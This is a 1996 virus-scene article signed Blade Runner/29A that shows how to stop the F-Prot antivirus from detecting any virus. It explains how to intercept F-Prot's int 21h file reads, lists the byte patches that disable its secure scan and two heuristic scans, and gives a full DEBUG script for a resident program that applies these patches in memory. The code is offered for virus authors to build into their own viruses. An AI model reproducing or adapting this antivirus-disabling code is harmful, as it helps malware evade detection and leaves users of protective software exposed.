Chilling Fridrik
 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
                                                              Blade Runner

 The reason  of writing  this article  is that i  realised that i've never
 seen how to fool F-Prot in any  virus magazine... and  as i like to be o-
 riginal, i decided to have a look  at it and try to do some modifications
 in its code so it won't detect any virus... and i got it :)

 And believe me that it's quite easy  to do... just keep reading the arti-
 cle and try it by yourself following the next steps :)

 Ok, F-Prot, unlike TbScan, uses int 21h for  opening, reading, and so on,
 that is, for scanning files for any infection. When it reads from a file,
 it does it holding the next values:

                                         AX=3f00h
                                         BX=0008h
                                         CX=0800h

 Since we know this, it's very easy for us to intercept this kind of calls
 to the int 21h with something like this:


 new_int_21h:    cmp     ax,3f00h
                 jne     jump_back

                 cmp     bx,8
                 jne     jump_back

                 cmp     cx,800h
                 je      fprot_read

 jump_back:      db      0eah
 old_int_21h     dw      ?,?


 Once we know  that it's a F-Prot read, we can start doing our work... the
 unique things we must do for it to don't detect absolutely anything is to
 bypass the secure  scan and the two  types of heuristic scanning it uses.
 Let's see the way in which we can do this thingy :)


                     ²²²²²²²²²²²²²²²²²²²²²²²²²²²
                     ²²     Secure method     ²²
                     ²²²²²²²²²²²²²²²²²²²²²²²²²²²
        

     803FD0        CMP     BYTE PTR [BX],D0
    >7519          JNZ     0123                <<< change this for JZ
     C41E502D      LES     BX,[2D50]
     26            ES:
     807F01CF      CMP     BYTE PTR [BX+01],CF
    >750E          JNZ     0123                <<< change this for JZ
     9AF500C136    CALL    36C1:00F5

     C706D64B0000  MOV     WORD PTR [4BD6],0000
     C706D44B0000  MOV     WORD PTR [4BD4],0000
     C41E502D      LES     BX,[2D50]
     26            ES:
    >803FFF        CMP     BYTE PTR [BX],4D    <<< change 4dh for 0ffh
     750B          JNZ     0121
     C41E502D      LES     BX,[2D50]
     26            ES:
     807F015A      CMP     BYTE PTR [BX+01],5A
     742A          JZ      014B


                     ²²²²²²²²²²²²²²²²²²²²²²²²²²²
                     ²²    First heuristic    ²²
                     ²²²²²²²²²²²²²²²²²²²²²²²²²²²


     9A2605AF1F    CALL    1FAF:0526
     0BC0          OR      AX,AX
    >740E          JZ      0117                <<< change this for jnz
     FF36E43D      PUSH    [3DE4]
     9A0000794A    CALL    4A79:0000


                    ²²²²²²²²²²²²²²²²²²²²²²²²²²²²
                    ²²    Second heuristic    ²²
                    ²²²²²²²²²²²²²²²²²²²²²²²²²²²²


     833EBF5500    CMP     WORD PTR [55BF],+00
    >7402          JZ      0109                <<< change this for jnz
     EB32          JMP     013B
     81FE8713      CMP     SI,1387
     7524          JNZ     0133


 And that's all, folks... since this  five bytes have been changed, F-Prot
 will *NOT* detect  any virus. As  a last thing i'll include  the complete
 routine, though it's a trivial thing, so you can implement it in your re-
 tro code; as i always use  debug for coding, i think you'll have to adapt
 it, but anyway... :)

 And don't ask  me why do i always  use debug for  coding instead the tra-
 ditional .ASM text file and TASM or A86... :)


>- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
na-fp.com
a100 
jmp 0174

a110
cmp ah,3f
jz 0117
jmp 0125
cmp bx,+08
jz 011e
jmp 0125
cmp cx,0800
jz 0130
nop
cs:
jmp far [0103]

a130
push ax
push bx
push cx
push dx
push ds
mov ax,ss
sub ax,3295
mov ds,ax
mov bx,01a2
mov cl,f0
mov [bx],cl
mov cl,74
mov bx,042b
mov [bx],cl
mov bx,0420
mov [bx],cl
mov ax,ss
sub ax,3521
mov ds,ax
mov bx,03e8
mov cl,75
mov [bx],cl
mov ax,ss
sub ax,17c7
mov ds,ax
mov bx,0347
mov [bx],cl
pop ds
pop dx
pop cx
pop bx
pop ax
cs:
jmp far [0103]

a174 
mov dx,197
mov ah,9
int 21
mov ax,3521
int 21
mov [0103],bx
mov [0105],es
mov dx,0110
mov ax,2521
int 21
mov dx,0174
int 27

a197
db "F-Prot won't detect any virus","$"
db " (c) Blade Runner/29A, 1996  ","$"

rcx
be
w
q
>- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8


 Blade Runner/29A
 Los Angeles, 2019